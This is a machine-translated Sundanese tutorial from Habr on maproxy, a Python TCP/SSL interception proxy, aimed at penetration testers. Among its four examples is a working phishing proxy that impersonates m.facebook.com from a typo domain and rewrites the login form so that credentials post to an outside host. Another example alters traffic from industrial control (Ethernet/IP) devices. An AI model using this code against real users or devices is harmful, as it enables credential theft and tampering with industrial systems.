Ngolah data jaringan dina laleur

Tarjamahan tina artikel ieu disiapkeun dina wengi mimiti kursus “Pentés. Latihan tés penetrasi".

Ngolah data jaringan dina laleur

anotasi

Rupa-rupa jinis penilaian kaamanan, mimitian ti tés penetrasi biasa sareng operasi Tim Beureum pikeun hacking alat IoT / ICS sareng SCADA, ngalibatkeun gawé bareng protokol jaringan binér, nyaéta, dina dasarna nyegat sareng ngarobih data jaringan antara klien sareng target. Sniffing lalu lintas jaringan sanes tugas anu sesah sabab urang gaduh alat sapertos Wireshark, Tcpdump atanapi Scapy, tapi modifikasi sigana janten tugas anu langkung padat karya sabab urang kedah gaduh sababaraha jinis antarmuka pikeun maca data jaringan, nyaring, ngarobih. eta dina laleur jeung ngirimkeunana deui ka host target dina ampir real waktu. Salaku tambahan, éta idéal upami alat sapertos kitu otomatis tiasa dianggo sareng sababaraha sambungan paralel sareng tiasa disaluyukeun nganggo skrip.

Hiji poé kuring manggihan hiji alat disebut maproxy, dokuméntasi gancang ngajelaskeun ka kuring éta maproxy - ngan naon Abdi peryogi. Ieu mangrupikeun proxy TCP anu saderhana, serbaguna sareng gampang dikonfigurasi. Kuring nguji alat ieu dina sababaraha aplikasi anu cukup rumit, kalebet alat ICS (anu ngahasilkeun seueur pakét) pikeun ningali naha éta tiasa nanganan seueur sambungan paralel, sareng alatna dilaksanakeun saé.

Artikel ieu bakal ngawanohkeun anjeun ngolah data jaringan dina laleur ngagunakeun maproxy.

gambaran

Instrumén maproxy dumasar kana Tornado, kerangka jaringan Asynchronous populér tur dewasa di Python.

Sacara umum, éta tiasa beroperasi dina sababaraha modeu:

  • TCP:TCP - sambungan TCP anu teu énkripsi;
  • TCP:SSL и SSL:TCP - kalawan énkripsi hiji arah;
  • SSL:SSL - énkripsi dua arah.

Datang salaku perpustakaan. Pikeun ngamimitian gancang, anjeun tiasa nganggo conto file anu ngagambarkeun utama fungsi perpustakaan:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kasus 1 - proxy bidirectional basajan

Dumasarkeun kana tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

sacara standar ProxyServer() nyokot dua argumen - lokasi sambungan jeung port target. server.listen() nyokot hiji argumen - port pikeun ngadengekeun sambungan asup.

Ngalaksanakeun naskah:

# python tcp2tcp.py

Dina raraga ngajalankeun tés, urang nuju bade nyambung ka server SSH lokal ngaliwatan skrip proxy urang, nu listens on 2222/tcp port tur nyambung ka port baku 22/tcp Server SSH:

Ngolah data jaringan dina laleur

Spanduk wilujeng sumping nginpokeun ka anjeun yén conto naskah kami parantos suksés nga-proksi lalu lintas jaringan.

Kasus 2 - modifikasi data

naskah demo sejen logging_proxy.py idéal pikeun interacting jeung data jaringan. Koméntar dina file ngajelaskeun metode kelas anu anjeun tiasa modifikasi pikeun ngahontal tujuan anjeun:

Ngolah data jaringan dina laleur

Hal anu paling pikaresepeun nyaéta di dieu:

  • on_c2p_done_read - pikeun intercept data sapanjang jalan ti klien ka server;
  • on_p2s_done_read - tibalik.

Hayu urang coba ngarobah spanduk SSH yén server mulih deui ka klien:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Laksanakeun naskah:

Ngolah data jaringan dina laleur

Sakumaha anjeun tiasa tingali, klien ieu misled sabab ngaran server SSH pikeun anjeunna dirobah jadi «DumnySSH».

Ngolah data jaringan dina laleur

Kasus 3 - halaman wéb phishing basajan

Aya cara sajajalan pikeun ngagunakeun alat ieu. Waktos ieu hayu urang difokuskeun hal anu langkung praktis ti sisi operasi Red Team. Hayu urang niru halaman badarat m.facebook.com sareng nganggo domain khusus kalayan salah ketik anu disengaja, contona, m.facebok.com. Pikeun tujuan démo, hayu urang anggap yén domain kadaptar ku urang.

Kami badé ngadamel sambungan jaringan anu teu énkripsi sareng proxy korban urang sareng Stream SSL ka server Facebook (31.13.81.36). Pikeun ngajantenkeun conto ieu, urang kedah ngagentos lulugu host HTTP sareng nyuntik hostname anu leres, sareng urang ogé bakal nganonaktipkeun komprési réspon supados urang tiasa ngaksés eusina. Pamustunganana kami bakal ngagentos formulir HTML supados kredensial login dikirimkeun ka kami tibatan server Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/su/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Kasimpulanna:

Ngolah data jaringan dina laleur

Sakumaha anjeun tiasa tingali, kami parantos suksés ngagentos situs asli.

Kasus 4 - Porting Ethernet / IP

Kuring geus nungkulan alat industri jeung software (ICS / SCADA) keur rada lila, kayaning controller programmable (PLC), I / O modul, drive, relays, lingkungan programming tangga jeung loba deui. Kasus ieu kanggo anu resep kana hal-hal industri. Hacking solusi sapertos ngalibatkeun aktip maén kalawan protokol jaringan. Dina conto di handap ieu, kuring hoyong nunjukkeun kumaha anjeun tiasa ngarobih lalu lintas jaringan ICS / SCADA.

Pikeun ieu anjeun bakal peryogi di handap:

  • Network sniffer, contona, Wireshark;
  • Ethernet / IP atanapi ngan alat SIP, anjeun tiasa mendakanana nganggo jasa Shodan;
  • naskah urang dumasar kana maproxy.

Mimiti, hayu urang tingali kumaha réspon idéntifikasi has tina CIP (Common Industrial Protocol) sapertos kieu:

Ngolah data jaringan dina laleur

Idéntifikasi alat dilaksanakeun nganggo protokol Ethernet / IP, anu mangrupikeun vérsi ditingkatkeun tina protokol Ethernet industri anu ngabungkus protokol kontrol sapertos CIP. Kami badé ngarobih nami ID anu disorot anu katingali dina layar "NI-IndComm pikeun Ethernet" ngagunakeun skrip proxy urang. Urang tiasa nganggo deui naskah logging_proxy.py sareng sami ngarobih metode kelas on_p2s_done_read, sabab urang hayang ngaran identitas béda bisa ditingali dina klien nu.

Kode:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Intina, urang naroskeun idéntifikasi alat dua kali, réspon anu kadua nyaéta anu asli, sareng anu munggaran dirobih dina laleur.

Sareng anu terakhir

Dina pamanggih kuring maproxy Alat anu gampang sareng sederhana, anu ogé diserat dina Python, janten kuring yakin yén anjeun ogé tiasa nyandak kauntungan tina ngagunakeunana. Tangtu, aya parabot leuwih kompleks pikeun ngolah jeung ngaropéa data jaringan, tapi maranéhna ogé merlukeun leuwih perhatian sarta biasana dijieun pikeun kasus pamakéan husus, f.eks. muraena, Modlishka atawa evilginx pikeun kasus sarupa katilu, atawa canape pikeun kasus panungtungan. Hiji cara atanapi anu sanés, kalayan bantosan maproxy anjeun tiasa gancang nerapkeun ideu anjeun pikeun nyegat data jaringan, sabab conto naskahna jelas pisan.

Nguji mékanisme auténtikasi dina Windows AD

sumber: www.habr.com

Tambahkeun komentar